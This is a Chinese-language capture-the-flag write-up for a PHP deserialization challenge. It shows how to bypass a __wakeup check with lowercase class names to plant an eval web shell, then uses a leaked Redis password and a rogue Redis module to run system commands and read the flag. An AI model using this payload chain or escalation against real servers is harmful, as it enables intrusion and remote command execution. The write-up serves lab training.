题目:[天翼杯 2021]esay_eval(反序列化,主从复制,rce,redis)

题目:[天翼杯 2021]esay_eval(反序列化,主从复制,rce,redis)

打开靶机:

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

反序列化,并且注意wakeup的绕过,一般改个数字就行

注意匹配的是大写字母,而类的名称大小写即可,于是可以绕过。

<?php
highlight_file(_FILE_);
class a{
 public $code='eval($_POST[1]);';
}
class b{
}
$a=new A;
$b=new B;
$b->a=$a;
echo (serialize($b));

得到结果:

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}   

地址栏加入(引号改为%22,不然我蚁剑连不上,我也不清楚为什么):

?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}}

使用蚁剑:

在config.php.swp的末端发现Redis密码———you_cannot_guess_it,猜测是Redis提权

先在有权限的目录上传一个exp.so文件:

exp.so文件地址:https://github.com/Dliv3/redis-rogue-server

image-20230410223532210

用蚁剑连接Redis:

image-20230410223630237

image-20230410223748692

image-20230410223837660

点击执行命令,然后执行以下命令:

MODULE LOAD /var/www/html/exp.so

system.exec "ls"

image-20230410224043079

到这里提权就成功了,然后输入:

system.exec "cat /f*"

得到flag:

image-20230410224208904

posted @ 2023-04-10 22:46  Magic水瓶  阅读(194)  评论(1)    收藏  举报